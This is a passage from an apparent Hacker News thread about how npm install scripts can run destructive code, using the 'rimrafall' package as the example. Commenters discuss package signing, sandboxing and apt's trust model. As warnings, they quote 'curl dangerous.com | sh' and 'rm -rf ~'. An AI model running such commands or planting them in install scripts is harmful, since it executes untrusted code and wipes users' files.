Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Npm install could be dangerous

github.com

Post reply on HN
Print view View original

41–50 of 100 posts

Re: Npm install could be dangerous

#41

Post by raesene5 »

thinkmoore wrote: post #39
raesene5 wrote: post #32

Earlier quoted context omitted.

that's interesting. Any pointers to package stores that do a better job on security? I'm researching the area a bit at the moment and I've not seen a lot of good practice out there, so would be interesting to have some good examples to hold up.

We haven't developed far enough for a package store at this point, but this is one of the use cases we're hoping to explore as part of our capability-based shell scripting language: shill-lang.org.

cool. If you're looking for thoughts about threat models and ways to do it http://theupdateframework.com/index.html seems to have some good info.

Re: Npm install could be dangerous

#42

Post by nailer »

illumen wrote: post #20

npmjs still contains the package: https://www.npmjs.com/search?q=rimrafall https://www.npmjs.com/package/rimrafall '0 downloads in the last month' There is no 'report package' button. The support link goes to a 'we are hiring' contact form. Report bad packages as security issues? https://www.npmjs.com/security Package signing. Review process. Scanning tools for dangerous packages. As a user, don't trust anything and…

I had the same thing - they have an abuse@ email in the Code of Conduct link that appears on every page. The email is the first thing listed. I've contacted them.

Re: Npm install could be dangerous

#43

Post by nailer »

ffn wrote: post #34

Just another reason to install nodejs with a node versioning machine like nvm or n... or to chown your /usr dir so you don't have to run sudo every time you want to npm install. Since you need super user privileges to accidentally remove your system on most linux distros, it really helps if you don't form the habit of sudo npm installing everything.

I use n, but this would still try and delete everything it could - n doesn't chroot / contain/ zone / docker / rocket anything AFAIK.

Re: Npm install could be dangerous

#45

Post by kungfooguru »

tenderlove wrote: post #4

It's not just Npm, RubyGems has essentially the same issue. I think the real lesson is "be careful what you install".

But do they need to have the issue? Why allow running arbitrary commands during install?

To me it is less about someone purposely including malicious code (since yes, that could be in the project itself not just the install) but that having this willy-nilly form of package managing opens up people to mistakes moving files around that do harm on accident.

And it gets even worse if the package is able to be added to a repo, like npmjs.org, and not have to be accepted after being reviewed.

Re: Npm install could be dangerous

#46

Post by justinsb »

moe wrote: post #7

This applies to pretty much every pkg manager ever created. That's why it's important to have end-to-end package signing with a reasonable UI, so people can choose to selectively trust the sources they need and get alerted before new dependencies get pulled in. Sadly I don't know of any pkg manager that implements this correctly.

I find the apt package model to be very good (add trusted keys & repositories explicitly). What do you see as the shortcomings of apt compared to your ideal?

Re: Npm install could be dangerous

#47

Post by mahouse »

attilagyorffy wrote: post #35

This is exactly why i think modern kernel level security layers, such as FreeBSD jails (or Docker/LXC) were born. Provided your app runs within a jail, it wouldn't matter much anymore: > Once inside the jail, a process is not permitted to escape outside of this subtree You could also develop within isolation, therefore your development env would be safer and even similar to a production environment. Needless to say,…

I always develop inside a virtual machine, with a shared folder in between so I can write code on the host, but everything runs in the guest.

Re: Npm install could be dangerous

#48

Post by Buge »

rooodini wrote: post #9

> […] as dangerous as `curl dangerous.com | sh`. dangerous.com appears to be a saucy outfits retailer. Irrespective of the name, piping the html to sh is probably fine.

But of course they could do some fancy user agent check to only give malicious stuff when requested by curl.

Re: Npm install could be dangerous

#49

Post by wging »

talles wrote: post #44

> can be as dangerous as curl dangerous.com | sh What's dangerous.com ?

Any site that serves up content that will be interpreted by `sh`.

Meaning, what happens if someone decides they want you to lose your home directory? They serve up the content "rm -rf ~". That doesn't even require privilege escalation, but it might ruin your day.

Re: Npm install could be dangerous

#50

Post by raesene5 »

justinsb wrote: post #46
moe wrote: post #7

This applies to pretty much every pkg manager ever created. That's why it's important to have end-to-end package signing with a reasonable UI, so people can choose to selectively trust the sources they need and get alerted before new dependencies get pulled in. Sadly I don't know of any pkg manager that implements this correctly.

I find the apt package model to be very good (add trusted keys & repositories explicitly). What do you see as the shortcomings of apt compared to your ideal?

I'm not OP, but my opinion would be that APT does do some things better than npm etc but there's still some potential problems.

Probably one of the most obvious is that access to the repos is over unencrypted HTTP connections which opens the process up to tampering (depending on the attacker) for example injecting an older version of a package with a known security issue.

Post reply on HN